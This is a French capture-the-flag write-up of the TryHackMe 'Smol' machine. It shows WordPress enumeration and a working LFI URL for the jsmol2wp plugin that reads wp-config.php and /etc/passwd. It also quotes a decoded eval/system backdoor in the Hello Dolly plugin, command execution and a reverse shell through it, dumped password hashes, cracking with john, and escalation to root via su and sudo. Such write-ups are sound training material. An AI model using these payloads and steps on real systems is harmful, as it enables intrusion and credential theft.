- Platforme: TryHackMe
- Lien: Smol
- Niveau: Moyen
- OS: Linux
Smol est axé sur l’exploitation des plugins WordPress. Le défi commence par l’énumération d’un site WordPress à l’aide de WPScan, où nous découvrons un plugin vulnérable à l’inclusion de fichier local (LFI). Cette vulnérabilité nous permet d’extraire des identifiants et de nous connecter au tableau de bord de WordPress. Sur le tableau de bord, une note privée nous dirige vers le code source du plugin Hello Dolly, qui contient un backdoor (porte dérobée). En exploitant ce backdoor, nous obtenons un accès initial. Grâce à une série de techniques d’escalade des privilèges, nous parvenons finalement à accéder à un utilisateur disposant de privilèges sudo illimités, ce qui lui confère un accès complet au système en tant que root.
Balayage
nmap -sC -sV -Pn -oA nmap/Smol 10.10.230.246
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-25 20:59 CST
Nmap scan report for 10.10.230.246
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://www.smol.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.63 seconds
Nmap trouve deux ports ouverts:
- 22 avec SSH
- 80 avec http et une redirection vers
www.smol.thm
. Nous l’ajoutons à notre fichier/etc/hosts
.
sudo echo "{TARGET_IP} www.smol.thm" | sudo tee -a /etc/hosts
Enumération
À http://www.smol.thm/
nous trouvons un blog.
Avec Wappalyzer
nous apprenons que le site web utilise WordPress.
Grâce à Gobuster, nous trouvons des répertoires supplémentaires.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://www.smol.thm
À http://www.smol.thm/wp-includes/
nous trouvons le répertoire /wp-includes/
contenant les fichiers principaux de WordPress.
Notez que la navigation directe vers le répertoire
wp-includes
devrait être désactivée.
À http://www.smol.thm/wp-admin
, nous trouvons une page de connexion.
Puisque nous avons un site Wordpress, nous pouvons utiliser WPScan
pour énumérer les utilisateurs.
wpscan --url http://www.smol.thm/ --enumerate u
Nous pouvons également énumérer les plugins utilisés.
wpscan --url http://www.smol.thm/ --enumerate p
WPScan trouve deux plugins utilisés:
twentytwentythree
qui est obsolète (version 1.2)jsmol2wp
qui fonctionne avec la version 1.07 (à jour)
Lorsque nous recherchons un exploit pour jsmol2wp version 1.07
nous trouvons le CVE-2018-20463 avec un PoC ici. La vulnérabilité permet la lecture arbitraire de fichiers. En utilisant l’url ci-dessous, nous trouvons des identifiants, wpuser:kbLSF2Vop#lw3rjDZ629*Z%G
.
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
En utilisant la même vulnérabilité, nous énumérons également les utilisateurs du système.
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../../../../etc/passwd
Nous identifions quatre utilisateurs: think
, xavi
, diego
, et gege
.
Les identifiants sont valides sur la page de connexion WordPress, ce qui nous permet d’accéder au tableau de bord.
Dans la section Pages
nous trouvons une page (Webmaster Tasks!!
) qui n’était pas affichée sur le blog. Nous pouvons également y accéder en allant sur http://www.smol.thm/index.php/to-do/
.
La première tâche mentionne un plugin appelé Hello Dolly
, nous demandant de vérifier son code source. Après quelques recherches, nous trouvons que le fichier du plugin (hello.php
) est situé dans wp-content/plugins
.
Accès initial
Une fois de plus, en exploitant notre vulnérabilité LFI, nous pouvons voir le contenu du fichier.
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php
Nous trouvons une fonction eval et la chaîne base64 se décode comme suit: if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }
. La fonction hello_dolly()
semble être un backdoor. Le plugin est censé n’afficher qu’une ligne de la chanson Hello Dolly sur le tableau de bord.
Mais elle vérifie également si le paramètre cmd
(\143\155\x64
correspond à cmd
) existe dans la chaîne de requête de la requête HTTP ($_GET
). Si c’est le cas, la fonction system
exécute la valeur du paramètre cmd
en tant que commande système sur le serveur.
Exemple : http://www.smol.thm/wp-admin/index.php?cmd=whoami
exécutera la commande whoami
sur le serveur.
Nous pouvons l’utiliser pour obtenir un shell inversé.
J’ai utilisé le reverse shell
nc mkfifo
sur revshells et l’ai encodé en URL.
http://www.smol.thm/wp-admin/index.php?cmd=REVSHELL
Sur le listener, nous recevons une connexion.
Dans /opt
nous trouvons un fichier appelé wp_backup.sql
.
Shell en tant que diego
Avec cat wp_backup.sql | grep "wpuser"
nous trouvons les hashs de tous les utilisateurs. Mais nous savons que seuls quatre d’entre eux sont des utilisateurs sur le système cible.
think:$P$B0jO/cdGOCZhlAJfPSqV2gVi2pb7Vd/
gege:$P$BsIY1w5krnhP3WvURMts0/M4FwiG0m1
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi:$P$BvcalhsCfVILp2SgttADny40mqJZCN/
Ce sont des hashs WordPress, nous pouvons utiliser john pour craquer les hashs. Nous réussissons à cracker le hash de diego
.
john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt creds.txt
Avec le mot de passe, nous passons à diego
et récupérons le drapeau utilisateur.
Parce que diego
fait partie du groupe internal
, il peut accéder au répertoire des autres utilisateurs.
Dans /home/gege/
nous trouvons un fichier appelé wordpress.old.zip
mais nous ne pouvons pas interagir avec lui avec notre utilisateur actuel.
Shell en tant que think
Nous remarquons la présence du fichier .ssh
dans le répertoire personnel de l’utilisateur think
.
Nous transférons la clé SSH à notre machine kali locale et nous nous connectons en tant que think
.
Shell en tant que gege
Nous recherchons les fichiers avec le bit SUID.
find / -perm -4000 -type f 2>/dev/null
Nous découvrons que /usr/bin/su
a le bit SUID défini, ce qui signifie que nous pouvons exécuter le fichier avec les permissions du propriétaire du fichier (root).
Nous passons à gege
sans fournir de mot de passe, en utilisant la commande su gege
.
Après consultation du fichier /etc/pam.d/su
(ce fichier contrôle le comportement de su
), nous constatons qu’il y a une règle qui marque l’authentification comme suffisante si l’utilisateur actual est think
.
Shell en tant que xavi
Le fichier wordpress.old.zip
nécessite un mot de passe pour l’extraction. Nous pouvons utiliser john pour tenter de craquer le mot de passe du zip.
Nous commençons par générer un hachage adéquat.
zip2john wordpress.old.zip > hash.txt
Ensuite, nous le craquons avec john.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Avec le mot de passe, nous décompressons l’archive.
Dans wp-config.php
nous trouvons le mot de passe xavi
, avec lequel nous passons à cet utilisateur.
Elévation de Privilèges
Avec sudo -l
, nous réalisons que xavi
a des privilèges sudo non restreints, ce qui nous permet de devenir root avec sudo su
.
Méthode alternative
Je pense que le créateur de la boîte ne prévoyait pas que cette méthode fonctionne, il s’agit probablement une erreur.
Depuis le shell de l’utilisateur think
, nous pouvons utiliser /usr/bin/su root
pour passer à l’utilisateur root
et le mot de passe est root
.
Cette méthode fonctionne également à partir de
www-data
, ce qui signifie que nous pouvons passer à l’utilisateurroot
dès que nous accédons au système.
EDIT: Depuis le 28 janvier 2025, cette méthode a été patchée.